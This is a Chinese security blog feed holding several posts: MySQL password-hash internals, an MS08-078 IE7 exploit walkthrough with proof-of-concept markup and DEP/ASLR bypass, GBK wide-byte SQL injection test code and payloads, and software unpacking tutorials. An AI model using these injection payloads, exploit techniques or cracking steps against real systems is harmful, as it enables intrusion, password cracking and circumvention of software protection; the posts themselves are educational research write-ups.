zh-cn 2010-03-10T21:11:58Z hourly 1 2000-01-01T12:00+00:00
Author: kyo327
email: humour327#hotmail.com
Date: 2010-03-10

大家都知道mysql口令的加密分两种。一种是古董级别的mysql323加密，另一种是蒙骗了大众的的mysql sha1加密。
虽然现在遇到这样的加密可以用cain来破解，按说我不用在这里多此一举，但本文不是为了破解而写，只是科普一下，让大家更清楚的了解mysql口令的加密方法到底是怎样的。

先说mysql4.1.x版本以后的：

mysql> select password('kyo327');
+-------------------------------------------+
| password('kyo327') |
+-------------------------------------------+
| *B19CB640DF626A73397BFBBB8111D11E2BEC11F1 |
+-------------------------------------------+
1 row in set (0.02 sec)

mysql> select sha1('kyo327');
+------------------------------------------+
| sha1('kyo327') |
+------------------------------------------+
| d81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820 |
+------------------------------------------+
1 row in set (0.03 sec)


很明显不是标准的sha1加密。然而这个问题像是皇帝的新装一样，好像没有哪个人指出来，那我就在这里当一次无知的小孩吧。 再看下面

mysql> select sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820);
+--------------------------------------------------+
| sha1(0xd81e2a1a72f5a4f570b0f05baaa0cffc5d2d6820) |
+--------------------------------------------------+
| b19cb640df626a73397bfbbb8111d11e2bec11f1 |
+--------------------------------------------------+
1 row in set (0.00 sec)

我想无需用过多言语，大家应该都很清楚mysql4.1.x以后版本的加密方式了吧。


接下来说一说mysql323加密。

这个我是直接从mysql源代码里抠出来的。代码如下：


#include "stdio.h"
#include <string.h>

void hash_password(long *result, const char *password, int password_len)
{
register long nr=1345345333L, add=7, nr2=0x12345671L;
long tmp;
const char *password_end= password + password_len;
for (; password < password_end; password++)
{
if (*password == ' ' || *password == '\t')
continue; /* skip space in password */
tmp= (long) (char) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}
result[0]=nr & (((long) 1L << 31) -1L); /* Don't use sign bit (str2int) */;
result[1]=nr2 & (((long) 1L << 31) -1L);
}

int main(int argc, char* argv[])
{
const char *password="kyo";
long hash_res[2];
hash_password(hash_res, password, (int) strlen(password));
printf("%08lx%08lx\n", hash_res[0], hash_res[1]);
return 0;
}


运行后
7901b47128d1045d
-----------------------------------------------------------------------------------
mysql> select old_password('kyo');
+---------------------+
| old_password('kyo') |
+---------------------+
| 7901b47128d1045d |
+---------------------+
1 row in set (0.00 sec)
-----------------------------------------------------------------------------------


over。
想做mysql密码爆力破解工具的，根据本文应该很容易写出来了。


]]> 2010-03-09T16:35:09Z email: humour327#hotmail.com
Date: 2010-03-03

我认为加密与解密就是高级智慧生物一种脑力活动方式，也是区别于其他动物最明显的标志之一。几千年以前凯撒曾经使用一种加密方法用于传递战争中的信息，其实这段历史足以说明加密解密是人类智慧的结晶。在冷兵器时代打仗不就是两军交战，多者胜吗？但是信息加密的出现打破了这种常规，在测探军机要情后总要经过信息的传递，而那种加了密的信息即便被对方截获也看不出东南西北来，这样在知己又知彼的情况下再熟练的运用三十六计很容易就能以少胜多了。可见信息加密的重要性。

计算机的面世凸现了人类喜欢利用加密与解密庸人自扰的现实。很早的时候软件程序根本没有壳的概念，因为没有很多人看的懂那些二进制代码，所以程序作者可以用最简单的直接比较的认证方式来阻挡没有付费的使用者。随着学习计算机的人越来越多，无聊的人就编出了反汇编器，这样二进制代码被转换成了汇编指令，人们理解程序流程就方便多了。眼看程序开发者辛辛苦苦开发的软件被人们轻易的破解，于是壳出现了，越来越多的加密算法也出现了。而破解者也不甘心，有加密就有解密，不然算法的设计者也无法解出答案。而最无辜的用户始终是受害者，他们想要的仅仅是程序的应用，却不得不运行程序之外为了阻挡破解者的壳、VM、成千上万行的垃圾代码，软件的运行速度竟然要卡十几秒钟才能启动。用户也许很疑惑，现在电脑的硬件CPU都是4核的，内存4G还是双通道的，可为什么还不如win98时代在64M内存的机器上的运行速度呢？其实用户每运行一次加了VM的软件，还要连带的安装并运行一个带解释器的虚拟机，那速度能快得起来才真是奇迹呢。也许很多人认为那些设计VM的作者的脑袋应该是被驴踢了，其实我觉得也是。但我们应该知道，这可能也不是他们的意愿，是被那些无聊的破解者给逼出来的。而用户都成了设计开发者与破解者智慧斗争中的牺牲品。

其实网络安全的世界也是一样的，如果没有黑客，程序开发者闲的蛋疼才去过滤那些乱七八糟的特殊字符呢，他们巴不得把应用设计好了就利用空余时间偷偷菜呢。而利用WEB赚钱的企业所部署的防火墙、招聘的网络安全工程师、购买的漏洞扫描软件等等所花费的RMB不会是从天上掉下来的，羊毛出在羊身上，吃亏的还是无辜的用户。因此用户又一次成了程序员与黑客智慧斗争的牺牲品。

也许在我为所不知的很多领域，用户应该也是所有无聊者与对抗无聊者之间斗争的牺牲品。


]]> 2010-03-03T14:06:13Z
非常具有忽悠的议题讲的很生动，精彩，再次膜拜下，我个人觉得里面最精彩部分就在如下了，呵呵，

通过MS08-078这个去年的IE7的漏洞来介绍如何绕过windows现有的安全保护机制，很是受启发，因为

TK只有一张PPT的介绍，我在此想展开介绍的更详细点，和大家分享一下TK的研究成果：），未经TK

的同意，在此还要感谢下TK:)

我去年分析过这个漏洞，现在让我们看看，到底是如果绕过windows现有的DEP,ALSR,SEHOP这些安全

保护机制的。

if(wxp||w2k3)document.write(
'<XML ID=I><X><C>
<![CDATA[<image SRC=http://C8;ਊ.book.com src=http://www.google.com]]>
<![CDATA[>]]></C></X></xml>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
<XML ID=I>
</XML>

漏洞细节就不介绍了，构造如此数据在这个Poc中

0x0a0a11c8

通过Heap spray在内存中填充0x7ffe027c这个值，为什么要填充如下值，下面会作介绍。


mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A push ebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 push ebx
.text:461E3D21 push esi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 test byte ptr [esi+1Ch], 9
.text:461E3D2A jnz loc_461E3E2E

.text:461E3D30 mov eax, [esi] //eax==0x0a0a11c8
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jz loc_461E3E29
.text:461E3D3A cmp [esi+4], ebx
.text:461E3D3D jz loc_461E3E29
.text:461E3D43 cmp [esi+8], ebx
.text:461E3D46 jz loc_461E3E29
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE027C+0x84], 换句话说就是call

[0x7ffe0300], 这是SharedUserData!SystemCallStub指针，这个指针里面存放着用户态进入内核态

ntdll!KiFastSystemCall函数的地址，也就是任何内核系统服务调用都会通过这个函数进入内核。

this call request for native API.// this call like call NtUserLockWorkStation for lock the windows:)


0:000> dd SharedUserData!SystemCallStub
7ffe0300 7c828608 7c82860c 00000000 00000000
7ffe0310 00000000 00000000 00000000 00000000
7ffe0320 00d2c763 00000000 00000000 00000000
7ffe0330 71724108 00000000 00000000 00000000
7ffe0340 00000000 00000000 00000000 00000000
7ffe0350 00000000 00000000 00000000 00000000
7ffe0360 00000000 00000000 00000000 00000000
7ffe0370 00000000 00000000 00000000 00000000

0:000> u 7c828608
ntdll!KiFastSystemCall:
7c828608 8bd4 mov edx,esp
7c82860a 0f34 sysenter
ntdll!KiFastSystemCallRet:


我们再看看这个0x11c8这个值构造的用意，先让我们看看锁屏函数NtUserLockWorkStation，也就是直接

调用这个函数就是会实现锁屏功能。

0:000> u 773ddd0d
USER32!NtUserLockWorkStation:
773ddd0d b8c8110000 mov eax,11C8h //
773ddd12 ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)
773ddd17 ff12 call dword ptr [edx]
773ddd19 c3 ret

我们再看看这个ie7的漏洞的片断
.text:461E3D46 jz loc_461E3E29
.text:461E3D4C mov ecx, [eax] //[0x0a0a11c8]==0x7ffe027c
.text:461E3D4E push edi
.text:461E3D4F push eax //eax==0x0a0a11c8//这里的实现是不是跟NtUserLockWorkStation很
相似
.text:461E3D50 call dword ptr [ecx+84h] //call [0x7FFE027C+0x84]

也许大家会问NtUserLockWorkStation的代码片断是mov eax,0x11c8，而上面的代码的eax是0x0a0a11c8，

事实在内核中处理过程，来通过传入的eax的值来判断是哪个服务调用，其实只用了低两个字节，所以

0x0a0a11c8可以忽略高两个字节，对服务调用结果不影响，所以完全可以当成是执行了锁屏操作。

结论：

1.通过Heap spray注入内存的构造的数据绕过DEP，因为没有在堆上执行代码

2.绕过ASLR，是因为内核服务调用的入口地址是不会变化的，只要能够构造相应的内核调用需要用到的

参数，就可以执行类似这样的shellcode，但是局限性也很明显了，因为这样构造出来的shellcode功能很

有限，就像TK演示的那样，制造了一个锁屏的操作。

3.利用起来非常困难，但就理论上就对抗windows的这些安全保护机制，算是绕过了，呵呵：）

写的匆忙，多多包涵，再次感谢TK提供的这种想法：）


]]> 2010-02-09T14:51:06Z 后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞
就触发了。
mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相
应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。
方法一：
改变mysql配置文件my.cnf
CODE:
[client]
default-character-set=GBK
方法二：
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例：mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("create TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("insert INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "select * FROM users where username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过
addslashes() 加上的"\"失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("create TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("insert INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "select * FROM users where username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记，这里不光是%bf，其它许多字符也可以造成同样漏洞。


]]> 2010-01-13T13:51:51Z P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令
怕忘记了，直接给出公式，后面的数字指需要几次P运算

not(a) = P(a,a) 1
and(a,b) = P(P(a,a),P(b,b)) 3
or(a,b) = P(P(a,b),P(a,b)) 2
xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5

上面的次数应该是最少需要的次数了，当然也可以展开，那样就更加复杂了
vmp用1条指令模拟了4条指令，因此逆向起来比较复杂，如果中间夹杂垃圾运算，那么工程量非同小可
下面来证明一下上面4条等式

not(a) = ~a = ~a & ~a = P(a,a)
and(a,b) = a & b = ~(~a) & ~(~b) = P(not(a),not(b)) = P(P(a,a),P(b,b))
or(a,b) = a | b = ~(~(a|b)) = ~(~a & ~b) = ~P(a,b) = P(P(a,b),P(a,b))
xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((a | ~b) & (~a | b)) = ~(1 | 1 | a & b | ~a & ~b) = ~(a & b) & ~(~a & ~b) = P(and(a,b),P(a,b)) = P(P(P(a,a),P(b,b)),P(a,b))

上面的xor是最复杂的，不过简化后也只需要5次运算就可以实现了

至于eflag，eflag是根据结果来定的，由于都是逻辑运算，所以最后取一下eflag即可

在某修改版的vm中，还可以看到另一个强大的指令 not_not_or 设这条指令为Q
Q(a,b) = ~a | ~b

同样，这一条指令可以模拟4条常规的逻辑运算指令
怕忘记了，直接给出公式，后面数字表示需要几次Q运算

not(a) = Q(a,a) 1
and(a,b) = Q(Q(a,b),Q(a,b)) 2
or(a,b) = Q(Q(a,a),Q(b,b)) 3
xor(a,b) = Q(Q(Q(a,a),b),Q(a,Q(b,b))) 5

基本和上面P指令相同，效率没什么变化
只对最复杂的xor证明一下，以防忘记

xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((~(~a) | ~b) & (~a | ~(~b))) = ~(~(~a) | ~b) | ~(~a | ~(~b)) = Q(Q(not(a),b),Q(a,not(b))) = Q(Q(Q(a,a),b),Q(a,Q(b,b)))



]]> 2009-12-24T10:47:17Z 60 pushad 0047A035 9C pushfd 0047A036 E8...]]> 目标在附件里。
这个壳OEP比较好找。直接用OD的sfx就到了。
oep:47148b
当然断GetVersion 也可以。
//////////////////////////////////
最常规的
0047A034 <> 60 pushad
0047A035 9C pushfd
0047A036 E8 8E000000 call CrackMe.0047A0C9 ; 来到这里 esp定律 命令行下hr esp
0047A03B C3 retn

F9运行来到这里：
0037087A E8 980D0000 call 00371617 ; f7走一下
0037087F 51 push ecx
00370880 E9 600C0000 jmp 003714E5

00371617 8D6424 04 lea esp,dword ptr ss:[esp+4] ; 这里
0037161B 61 popad
0037161C ^ E9 E7F9FFFF jmp 00371008 ; 这里继续F7

00371008 - FFE0 jmp eax ; 跳向oep
、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、

到OEP后知道iat被加密了 是这样的

00475000 003E2264
00475004 003E21A0
00475008 003E2137
0047500C 003E2328
00475010 003E215F
00475014 00000000
00475018 003E624C
0047501C 003E47DB
00475020 003E5C30
00475024 003E7088
00475028 003E50A2
0047502C 003E465C
00475030 003E2D4C
00475034 003E32E7
00475038 003E73C7
0047503C 003E6274
00475040 003E5814
00475044 003E7207
00475048 003E524D
0047504C 003E53F8
00475050 003E5061
///////////////////////////////////////////
重新来，在475000处下内存写入断点。可以到这里：
/*7C921DE6*/ REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] //这里
/*7C921DE8*/ JMP DWORD PTR DS:[EDX*4+7C921F00]
/*7C921DEF*/ MOV EAX,EDI
/*7C921DF1*/ MOV EDX,3
/*7C921DF6*/ SUB ECX,4
/*7C921DF9*/ JB SHORT ntdll.7C921E07
/*7C921DFB*/ AND EAX,3


f8一下 后IAT就添充完了。如下：

00475000 00075812
00475004 00075806
00475008 000757EE
0047500C 000757E2
00475010 00075822
00475014 00000000
00475018 00075A6E
0047501C 00075A5C
00475020 00075A4E
00475024 00075A3E
00475028 00075A32
0047502C 00075A26
00475030 00075A1C
00475034 00075A10
00475038 00075A04
0047503C 00075A7E
00475040 000759EC
00475044 000759DE
00475048 000759D0
0047504C 000759C2
00475050 000759B2
00475054 00075998

/////////////////////////////////////
这个一看就是原始的输入表，那还等啥？直接用 LordPE 修正镜像大小，然后 dump。
用 PETools 的编辑工具把 dump 程序的 OEP 改成 007148b，再用16进制编辑工具定位到偏移 75000 处.
第一个是75812，在winhex中拉到75812后再往上拉，再找到75812开头的地方。这时发现输入表没有了。
那只能自己重建一个了。

先熟悉下输入表结构吧。

IMAGE_IMPORT_DESCRIPTOR结构的各个域的含义:
1)union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
};
这个联合指向一个 IMAGE_THUNK_DATA 类型的结构数组. 其实这个字段为0也行。

2)TimeDateStamp
该dll的时间日期戳,一般为0.

3)ForwarderChain
正向连接索引.一般为0.

4)Name
dll名字的RVA.

5)FirstThunk
这个域也是一个RVA,指向一个DWORD数组,数组以NULL结束.数组中的每个DWORD实际上是一个IMAGE_THUNK_DATA结构的联合体。IMAGE_THUNK_DATA联合体通常被解释为一个指向IMAGE_IMPORT_BY_NAME结构的RVA.

大小是5个dword. 程序里有多少个dll，就有多少个这样的结构，最后由20个0结尾。

///////////////////////////////////////////////////////
既然本程序没有输入表，我就在75b10处建一个吧。

第一个DWORDOriginalFirstThunk指向75812的rva是7550c.
第2，3个DWORD都填0.
第4个DWORD是指向dll的rva.找到dll的位置填上去为 75834
第5个DWORD是上面的指向75812的rva，找到是75000.

看到一共是3个dll。按照这个格式把那两个结构也写到后面即可。
改完后是这样的
：75b10
0C550700000000000000000034580700
00500700245507000000000000000000
D85A070018500700C457070000000000
00000000D6570700B450070000000000


完了后再用pe工具把iat的rva改为75b10 大小改为50即可。
/////////////////////////////////////////

由于union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
};
这个为0也行 所以改为下面也行
000000000000000000000000D85A0700
18500700000000000000000000000000
34580700005007000000000000000000
00000000D6570700B450070000000000
///////////////////////////////////////////////////////////////
以上只是练习下手工建IAT的方法 其实下面方法最简单。
0047A41B FFD2 call edx F7进入
ctrl+B 搜

0F 85 A5 F5 ?? FF
将搜到指令的jnz 改成jmp 即可
壳就不加密IAT了

File: Click to Download

]]> 2009-09-18T15:19:56Z 不过这游戏里的金子真的很难赚,而前期做任务只给经验不给金子,致使我只好申请一个贵宾号.做任务到70级以后我便觉得开始无聊了.每天好象为了游戏而活着.
每天早上10点的行脚商人------12点的龙舟或夺宝骑兵-------14点的小战场--------18点的杀手--------19点的杀手堂-----20点的战场----21点后的比武.还有每天一次的TX,刷经验的CJ,每个星期的紫光和师们密室. 差不多有2个星期了,这些时间都拖着我,一到时间我就迫不及待的进入游戏. 仔细想一想这究竟是为了什么??每次游戏之后都是一种莫名的失落,升级快有什么好处,装备好又有什么值得骄傲?是想脱离现实的无奈在虚拟的世界里显示自己的强大吗? 可是游戏里也有游戏规则,要宣泄的话游戏里杀人也要坐牢,再不就是花RMB,一样的让你无奈,并且没有什么快乐可言.每天的公聊充斥着骂人的,做买卖的,调情的,搞骗术的言语,除了能消磨时间没有任何益处.而这些道理我早就明白,难道我仅仅就是为了消磨时间?
我又一次的选择了放弃,希望不要再让我进入这种无聊的世界中.

]]> 2009-07-10T12:52:26Z RISCO Software Inc. OEP很好找。 代码段---PE段---代码段下内存访问断就到了。 不过到了后有点偷代码，好在偷的不多，顺便补上就可以了。 004016A2 68 D8504000 PUSH...]]> 加的是vc6.0的程序。peid查看是AntiCrack Protector 1.0x -> RISCO Software Inc.
OEP很好找。
代码段---PE段---代码段下内存访问断就到了。
不过到了后有点偷代码，好在偷的不多，顺便补上就可以了。
004016A2 68 D8504000 PUSH CrackMe.004050D8
004016A7 68 00274000 PUSH CrackMe.00402700
004016AC 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
004016B2 50 PUSH EAX
004016B3 64:8925 00000000 MOV DWORD PTR FS:[0],ESP
004016BA 83EC 58 SUB ESP,58
004016BD 53 PUSH EBX

可根据堆栈中的值来补代码。所补的代码如下
push ebp
mov ebp,esp
push -1


当然IAT也加密了。老方法，dd 405000 内存写入断
可以到这里/*4173D3*/ MOV DWORD PTR DS:[EDI],EAX

就是eax覆盖了。单步跟踪一下可以知道正确的iat是从这得到的
/*417319*/ CALL DWORD PTR SS:[EBP+41C268] //这里得到的 这是GetProcaddress
/*41731F*/ CMP EBX,DWORD PTR SS:[EBP+404028] //这里改为jmp 4173D3

那么把下面的改成jmp 4173D3应该是可行的。
那就试试吧
he 417319
改完到oep后记得把偷代码补上就可以dumpfix了。
完了后发现不能运行。原来还有code replace
0040F0FB - FF25 04701500 JMP DWORD PTR DS:[157004]
0040F101 - FF25 08701500 JMP DWORD PTR DS:[157008]
0040F107 - FF25 0C701500 JMP DWORD PTR DS:[15700C]
0040F10D - FF25 10701500 JMP DWORD PTR DS:[157010]
0040F113 - FF25 14701500 JMP DWORD PTR DS:[157014]
0040F119 - FF25 18701500 JMP DWORD PTR DS:[157018]
---------------------------------华丽的分割线--------------------------------------
code replace的修复。
进行到这时我本来已经懒得去修复了。想把157004的区段给补上，虽然是拙劣的方式，但对于我这个菜鸟，
我以为首先能脱壳后正常运行起来是主要的。
可这是个低于00400000的地址，直接补区段是不行的。我试过在刚载入程序时首先申请低于400000地址的方法。
无奈对于这个壳好象不是很管用。因为我发现他是用GolbalAlloc来申请内存的。
具体为什么不行我还未弄明白。
怎么办呢，硬着头皮来修复code replace吧，也好锻炼下自己。

我点进一个JMP DWORD PTR DS:[157004]看了下。
原来正确的代码在这
00157FA6 8B55 08 MOV EDX,DWORD PTR SS:[EBP+8]
00157FA9 33C9 XOR ECX,ECX
00157FAB C3 RET

一共6个字节，中间并没有什么花指令。还算温柔了。
而0040F0FB这里的JMP DWORD PTR DS:[157004]也是6个字节。
我就想，如果能把0040F0FB处的6个字节替换成正确的字节码不就OK了吗？

思路通了就开始干吧。
对0040F0FB进行内存写入断点吧。
断到这里了
00411D8B 66:C707 FF25 MOV WORD PTR DS:[EDI],25FF
00411D90 8947 02 MOV DWORD PTR DS:[EDI+2],EAX
00411D93 83C7 06 ADD EDI,6
00411D96 83C0 04 ADD EAX,4
00411D99 ^ E2 F0 LOOPD SHORT CrackMe.00411D8B

ds:[edi]中的代码此时正被替换为JMP DWORD PTR DS:[157004]这个样子。
从MOV WORD PTR DS:[EDI],25FF这句可以明显看出来。

可ds:[edi]中现在是什么东西呢？
经过我分析，发现ds:[edi]中的代码xor 了0xe0就变成正确的机器码了。
从这里可以分析出来的。

/*411D5F*/ MOV ECX,1770
/*411D64*/ LODS BYTE PTR DS:[ESI]
/*411D65*/ XOR AL,BL
/*411D67*/ STOS BYTE PTR ES:[EDI]

那么这就好办了。开始patch代码。
00411D8B MOV WORD PTR DS:[EDI],25FF
从这里开始。首先这句改为jmp 429669
也就是跳到一个无用的地方吧。
然后在下面写如下代码
xor byte ptr ds:[edi],bl
xor byte ptr ds:[edi+1],bl
xor byte ptr ds:[edi+2],bl
xor byte ptr ds:[edi+3],bl
xor byte ptr ds:[edi+4],bl
xor byte ptr ds:[edi+5],bl
jmp 00411D93 //最后再跳回来

好了，这样patch代码就完了。
重新来过，把按前面所说的跳过iat加密，patch下代码，再补上那偷掉了一点代码。
就可以dumpfix了。
当然，很顺利运行成功。

//后记
这个壳对于我这个初学者感到还是有挑战性的。不过我很高兴我能独立解决，没有看其他的教程。
这点我感到很欣慰。另外就是脱壳确实挺好玩的，不管是老壳还是新壳，在暂时找不到其他娱乐方式的时候找点
老壳脱脱也能带给自己快乐的。

]]> 2009-05-02T20:10:39Z Bartosz Wojcik oep 这个壳oep还不算难 就内存访问断点 或者最后一次异常后再内存断点都行. 只用内存访问断的话 要pe段 代码段来回的段个五六次就到了 到了OEP后 /*40C9A0*/ call 0040DAE8 /*40C9A5*/ jmp 00920D0D /*40C9AA*/ mov eax,...]]> oep

这个壳oep还不算难

就内存访问断点 或者最后一次异常后再内存断点都行.

只用内存访问断的话 要pe段 代码段来回的段个五六次就到了

到了OEP后
/*40C9A0*/ call 0040DAE8
/*40C9A5*/ jmp 00920D0D
/*40C9AA*/ mov eax, edi
/*40C9AC*/ call 0040DC40

明显入口被偷了
这是堆栈
0012FFB0 00401D60
0012FFB4 00000060

那么入口处可以给补上
push 60
push 00401D60

补上后OEP为40c999

/////////////////////////////
不过IAT还是加密的
找到一个401000
dd 401000
00401000 003E0000 ASCII "h",LF
00401004 003E0033
00401008 003E0084
0040100C 003E010B
00401010 003E015B
00401014 003E01B5
00401018 003E020B
0040101C 003E023E
00401020 003E026F
00401024 003E0281
00401028 003E02E5
0040102C 003E031F


确实加密了
下个内存断点看下吧
/*38444E*/ MOV DWORD PTR DS:[ECX],EbX

在这里给填充了
而此时的eax却是正确的iat，可以改为
MOV DWORD PTR DS:[ECX],EaX

可这样改会有crc校验 我也没找到校验在哪


就比猫画虎写了一点垃圾脚本 跑一下吧
tmp1:
mov tmpreg, ebx
mov ebx, eax
sti
mov ebx, tmpreg
bprm 0038444e,1
cmp eax,77d3b144
run
jnz tmp1
mov ebx, tmpreg
sti
bprm 00384450,1

我这脚本是走到 MOV DWORD PTR DS:[ECX],EbX时才能运行的

cmp eax,77d3b144这里是最后一个函数的比较

处理完后IAT全部都正常了

可是还有一些jmp不知道怎么改

/*40C9A0*/ CALL 1.0040DAE8
/*40C9A5*/ JMP 003F0D0D ////象这样的被替换的
/*40C9AA*/ MOV EAX,EDI
/*40C9AC*/ CALL 1.0040DC40
/*40C9B1*/ MOV DWORD PTR SS:[EBP-18],ESP
/*40C9B4*/ MOV ESI,ESP
/*40C9B6*/ MOV DWORD PTR DS:[ESI],EDI
/*40C9B8*/ PUSH ESI
/*40C9B9*/ JMP 003F0D25 ////象这样的被替换的

-------------------------------------------华丽的分割线--------------------------------------------------

补区段吧

由于地址3f00000低于基址400000
避免壳申请的区段低于镜像基址的一个方法
有些壳申请的区域低于镜像基址，可以在运行前，先人为手动把镜像基址前的内存申请出来，这样壳就只能申请镜像基址以后的内存了。
下面是代码示例，本例中镜像基址为00400000，不同基址可修改相应数据实现。
00409C15 9C pushfd
00409C16 60 pushad ; 上面这两句保存现场
00409C17 6A 04 push 4
00409C19 68 00100000 push 1000
00409C1E 68 00100000 push 1000
00409C23 6A 00 push 0
00409C25 E8 a945827C call kernel32.VirtualAlloc ; 这5句是申请内存
00409C2A 3D 00003F00 cmp eax, 3F0000 ; 比较有没有申请到程序的镜像基址处
00409C2F ^ 75 E6 jnz short 00409C17 ; 没有就跳回去继续申请
00409C31 61 popad
00409C32 9D popfd ; 恢复现场
00409C33 90 nop ; 这里下个断点
00409C34 90 nop

中断后，清除这些代码，把eip回到原来的位置，就可以了。
-------------------------------------------华丽的分割线--------------------------------------------------
到OEP，并且偷代码也处理好了后 如果有对代码的替换，那么一般来说可以用补区段的方法。

打开loadpe,

/*40C9A0*/ CALL 1.0040DAE8
/*40C9A5*/ JMP 00900D0D //代码的替换
/*40C9AA*/ MOV EAX,EDI
/*40C9AC*/ CALL 1.0040DC40
/*40C9B1*/ MOV DWORD PTR SS:[EBP-18],ESP
/*40C9B4*/ MOV ESI,ESP
/*40C9B6*/ MOV DWORD PTR DS:[ESI],EDI
/*40C9B8*/ PUSH ESI
/*40C9B9*/ JMP 00900D25 //代码的替换


对00900d25所在的区段进行转存
然后用pe编辑器打开修复好但不能运行的dump_.exe。
点区段---->右键--从磁盘载入段------>编辑区段

把00900000-400000=500000添到虚拟地址那里
保存---确定
再点重键PE选择那个dump_.exe
这样就完成了。


]]> 2009-04-24T20:34:39Z
这个壳又是俄罗斯人写的，并且非常老了吧。
我测试了下，好象只能加asm语言编写的程序，加其他的都不行，兼容性严重失败。

不过这个壳倒是有点意思，他有偷代码。
------------------------------华丽的分割线---------------------------------
OEP
首先在代码段下内存访问断点，F9后到达这里
/*404916*/ MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
然后bp GetModuleHandleA 断下返回用户代码后
再在代码段下内存访问断可来到这
/*3B0C05*/ MOV DWORD PTR DS:[ECX],EAX
/*3B0C07*/ ADD EDI,4
/*3B0C0A*/ DEC BL
/*3B0C0C*/ POP EAX
/*3B0C0D*/ CMP BL,0
/*3B0C10*/ JA 003B0B58
/*3B0C16*/ CMP BYTE PTR DS:[EDI],0C3
/*3B0C19*/ JE 003B09C0
/*3B0C1F*/ CMP DWORD PTR DS:[EDI],0

然后一直往下拉 因为中间都是垃圾指令
到这
/*3B11DA*/ MOV EAX,DWORD PTR SS:[EBP+4023AD]
/*3B11E0*/ MOV DWORD PTR SS:[ESP+1C],EAX
/*3B11E4*/ POPAD
/*3B11E5*/ JMP EAX

删除内存断，在3b11e5处下断，shift+f9跳向OEP

不过跳过来后发现前面也都是垃圾指令。
中间就有一个 push 0
